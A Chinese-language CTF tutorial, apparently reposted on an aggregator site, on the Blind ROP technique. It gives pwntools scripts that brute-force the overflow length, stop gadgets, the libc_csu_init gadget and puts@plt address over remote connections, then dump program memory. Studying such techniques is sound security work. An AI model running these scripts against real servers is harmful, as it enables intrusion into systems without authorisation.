概述
Blind ROP
基本介绍
于2014年提出,论文题目名为Hacking Blind,BROP是指在没有对应应用程序的源代码或者二进制文件的情况下,对程序进行攻击,劫持程序的执行流。
攻击条件
- 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
- 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样,目前nginx,mysql,apache,openssh等服务器应用都是符合这种特性。
攻击原理
大部分应用都会开启ASLR,NX,Canary保护,绕过保护并且进行攻击。
基本思路
- 判断栈溢出的长度
- 暴力枚举
- 查找stop gadgets
- 使stop gadgets充当ret
- 暴力跑出BROP,即csu_init的gadget1,pop六个寄存器的地址
- blind rop
- 找到足够多的gadgets来控制输出函数的参数,并调用。
- 暴力跑出输出函数put@plt或者write@plt的地址
- exp
- 利用输出函数dump程序来找到更多的gadgets,从而构建exp
以下实验均假设服务器跑的程序为64位
判断栈溢出的长度
关于爆破Canary,可以参考我的这篇博客
下面只进行讲解爆破栈溢出的长度。
- 向程序发送若干个字符,如果程序发生崩溃,则意味着我们覆盖到了返回地址,而我们覆盖的返回地址并不合法,所以程序发生了崩溃。
- 可以使用任一栈溢出的程序进行实验。如32位程序中buf到ebp的距离是0x20,也就是32,加上ebp的长度,为36。覆盖36个a程序不发生崩溃,一旦多加一个a,覆盖37个a,程序崩溃。
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# ./easy_csu
Try or Retry your payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
//36个a
Try or Retry your payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
//37个a
Segmentation fault (core dumped)
- 就可以编写如下代码,进行爆破长度。
from pwn import *
def gets_length(ip, port):
for i in range(100):
payload = 'a' * i + 'a'
try:
sh = remote(ip, port)
sh.recv()
sh.sendline(payload)
sh.recv()
sh.close()
print "the length is not " + str(i)
except EOFError as e:
sh.close()
print "the buf length is " + str(i)
return i
查找stop gadgets
我们在学ret2csu的时候都分析过csu_init函数的汇编指令,如果对ret2csu还有不熟悉的可以看我这篇博客
- 我们再来分析一下libc_csu_init结尾处的长串gadgets
- 0x0000000000401202该地址为pop rbx处的地址
- 我们查看下该地址经过偏移后的汇编指令
gef➤ x/5i 0x0000000000401202
=> 0x401202 <__libc_csu_init+82>: pop rbx
0x401203 <__libc_csu_init+83>: pop rbp
0x401204 <__libc_csu_init+84>: pop r12
0x401206 <__libc_csu_init+86>: pop r13
0x401208 <__libc_csu_init+88>: pop r14
gef➤ x/5i 0x0000000000401202 + 1
0x401203 <__libc_csu_init+83>: pop rbp
0x401204 <__libc_csu_init+84>: pop r12
0x401206 <__libc_csu_init+86>: pop r13
0x401208 <__libc_csu_init+88>: pop r14
0x40120a <__libc_csu_init+90>: pop r15
gef➤ x/5i 0x0000000000401202 + 2
0x401204 <__libc_csu_init+84>: pop r12
0x401206 <__libc_csu_init+86>: pop r13
0x401208 <__libc_csu_init+88>: pop r14
0x40120a <__libc_csu_init+90>: pop r15
0x40120c <__libc_csu_init+92>: ret
gef➤ x/5i 0x0000000000401202 + 3
0x401205 <__libc_csu_init+85>: pop rsp
0x401206 <__libc_csu_init+86>: pop r13
0x401208 <__libc_csu_init+88>: pop r14
0x40120a <__libc_csu_init+90>: pop r15
0x40120c <__libc_csu_init+92>: ret
gef➤ x/5i 0x0000000000401202 + 4
0x401206 <__libc_csu_init+86>: pop r13
0x401208 <__libc_csu_init+88>: pop r14
0x40120a <__libc_csu_init+90>: pop r15
0x40120c <__libc_csu_init+92>: ret
0x40120d: nop DWORD PTR [rax]
gef➤ x/5i 0x0000000000401202 + 5
0x401207 <__libc_csu_init+87>: pop rbp
0x401208 <__libc_csu_init+88>: pop r14
0x40120a <__libc_csu_init+90>: pop r15
0x40120c <__libc_csu_init+92>: ret
0x40120d: nop DWORD PTR [rax]
gef➤ x/5i 0x0000000000401202 + 6
0x401208 <__libc_csu_init+88>: pop r14
0x40120a <__libc_csu_init+90>: pop r15
0x40120c <__libc_csu_init+92>: ret
0x40120d: nop DWORD PTR [rax]
0x401210 <__libc_csu_fini>: ret
gef➤ x/5i 0x0000000000401202 + 7
0x401209 <__libc_csu_init+89>: pop rsi
0x40120a <__libc_csu_init+90>: pop r15
0x40120c <__libc_csu_init+92>: ret
0x40120d: nop DWORD PTR [rax]
0x401210 <__libc_csu_fini>: ret
gef➤ x/5i 0x0000000000401202 + 8
0x40120a <__libc_csu_init+90>: pop r15
0x40120c <__libc_csu_init+92>: ret
0x40120d: nop DWORD PTR [rax]
0x401210 <__libc_csu_fini>: ret
0x401211: add BYTE PTR [rax],al
gef➤ x/5i 0x0000000000401202 + 9
0x40120b <__libc_csu_init+91>: pop rdi
0x40120c <__libc_csu_init+92>: ret
0x40120d: nop DWORD PTR [rax]
0x401210 <__libc_csu_fini>: ret
0x401211: add BYTE PTR [rax],al
gef➤ x/5i 0x0000000000401202 + 10
0x40120c <__libc_csu_init+92>: ret
0x40120d: nop DWORD PTR [rax]
0x401210 <__libc_csu_fini>: ret
0x401211: add BYTE PTR [rax],al
0x401213: add BYTE PTR [rax-0x7d],cl
- 可以发现该地址+7偏移处的汇编指令可以操作rsi寄存器,+9偏移处的汇编指令可以操作rdi寄存器。
- 如下图所示
- 所以我们可以通过暴力枚举该地址再加上偏移来使用
- 那么如何查找该gadgets呢,这里引出stop gadgets的概念
- stop gadgets一般指这样一段代码:当程序执行这段代码时,程序不会崩溃,即其根本目的是告诉攻击者,所测试的返回地址是一个gadgets。
- stop gadgets可能不止一个,这里我们使用任一个找到的gadgets即可。
- 当ret为stop gadgets时,程序不会崩溃,而是正常返回。
- 直接暴力枚举即可,从0x400000开始,因为0x400000地址是64位程序的首地址,大家可以使用IDA打开任意ELF程序,将进度条拖到最前面查看首地址。
def gets_stop_addr(ip, port, length):
addr = 0x400000
while True:
addr += 1
payload = 'a' * length + p64(addr)
try:
sh = remote(ip, port)
sh.recv()
sh.sendline(payload)
sh.recv()
sh.close()
print "stop gadgets' addr is:" + hex(addr)
return addr
except EOFError as e:
sh.close()
print "bad addr:" + hex(addr)
查找csu_init的通用gadgets
- 找到stop gadgets之后,我们就可以查找csu_init的通用gadgets了。
- 在这里定义三种地址
- Probe:也就是我们想要探测的代码地址。
- stop:不会使程序崩溃的stop gadget地址。
- trap:导致程序崩溃的地址,基本大部分地址均可以导致程序崩溃,我们可以随意捏造trap的值,如p64(1), p64(‘a’), ‘a’ * 8 等等
之后我们在栈上通过摆放不同顺序的stop和trap来识别出probe地址的身份,比如probe不是gadgets,或者是pop一次的gadget,或者是pop两次的gadget。
- probe, stop, trap, trap, traps…
- 如果程序不崩溃,则probe有可能是stop gadget,或者是不对栈进行操作的gadget,如:xor eax,eax;ret
- probe, trap, stop, trap, traps
- 如果程序不崩溃,则probe有可能是stop gadget或者pop一次的gadget。如:pop eax;ret
- probe, trap, trap, trap, trap, trap, trap, stop, trap, traps
- 如果程序不崩溃,则probe很可能是stop gadget或者pop六次的gadget。
- 而程序中一下弹出六个寄存器的gadget并不经常出现,所以如果存在这样且不为stop的gadget,那么很大可能就是我们在上文中说到的csu_init函数的gadget
- 同时需要保证该probe不为stop gadget才可以。检查方法为:将probe后续所有内容变为trap地址,如果程序正常,则为stop gadget;如果程序崩溃则为BROP。
def get_common_gadgets(ip, port, length, stop_addr):
addr = stop_addr
while True:
addr += 1
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_addr) + p64(0) * 6
try:
sh = remote(ip, port)
sh.recv()
sh.sendline(payload)
sh.recv()
sh.close()
print "possible addr: " + hex(addr)
try:
payload = 'a' * length + p64(addr) + p64(0) * 10
sh = remote(ip, port)
sh.recv()
sh.sendline(payload)
sh.recv()
sh.close()
print "the possible addr is stop addr"
except:
print "common addr is " + hex(addr)
return addr
except EOFError as e:
sh.close()
print "bad addr: " + hex(addr)
- 获得通用gadget后,将其address+9,即可的到pop rdi;ret指令的地址了
暴力枚举地址以查找put@plt等输出函数
- 程序的plt表具有比较规整的结构,每一个plt表项都是16字节,而且在每次表项的6字节偏移处,事该表项对应函数的解析路径,即该函数对应的got表项的地址。
- 下面的代码用于查找Puts@plt的地址,因为比起write函数,puts函数只需要一个参数,更加方便。
- 如何暴力枚举呢?大家可以用IDA打开任一个64位ELF程序,然后查看十六进制窗口,在一开始0x400000处的前四个字符为x7fELF,如下图所示。我们就可以凭借这一点来判断是不是puts函数
def get_put_plt(ip, port, length, stop_addr, common_gadgets):
addr = stop_addr
pop_addr = common_gadgets + 9 #pop rdi;ret
while True:
addr += 1
payload = 'a' * length + p64(pop_addr) + p64(0x400000) + p64(addr) + p64(stop_addr)
try:
sh = remote(ip, port)
sh.recv()
sh.sendline(payload)
text = sh.recv()
if text.startswith("x7fELF"):
print "puts@plt addr is " + hex(addr)
sh.close()
return addr
sh.close()
except EOFError as e:
sh.close()
print "bad address: " + hex(addr)
之后就可以利用输出函数dump内存
- 现在还差一个got表的地址,得到libc版本,就可以获取system函数地址和/bin/sh字符串的地址了。
- 直接dump程序,从0x400000开始,泄露0x1000个字节足够把程序的plt表泄露出来了。
- puts函数通过x00进行截断,并且在每一次输出的末尾都会加上换行符x0a,所以有些特殊情况需要做些处理,比如单独的x00、x0a等,首先是去掉末尾puts自动加上的n,然后如果recv到一个n,则说明内存中是x00,如果recv到一个nn,说明内存中是x0a。
from pwn import *
def dump_memory(ip, port, buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
sleep(0.1)
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote(ip, port)
p.recvline()
p.sendline(payload)
try:
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
data = data[:data.index("nsssss")] # sss处为程序的运行时发送的前几个字符
if data == "":
data = "x00"
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
p.close()
log.info("not connect")
return result
- 我们将泄露的内容写到文件里,之后用IDA打开,binary模式,首先在 edit->segments->rebase program将程序的基址改为0x400000
- 然后找到puts@plt函数的地址处,摁下c,将数据转为汇编指令,即可发现got表项的地址为0x601018
- 之后就可以进行程序的利用了。
参考文献
- ctf wiki
- ctf-All-in-one
最后
以上就是潇洒时光为你收集整理的中级ROP之BROP的全部内容,希望文章能够帮你解决中级ROP之BROP所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复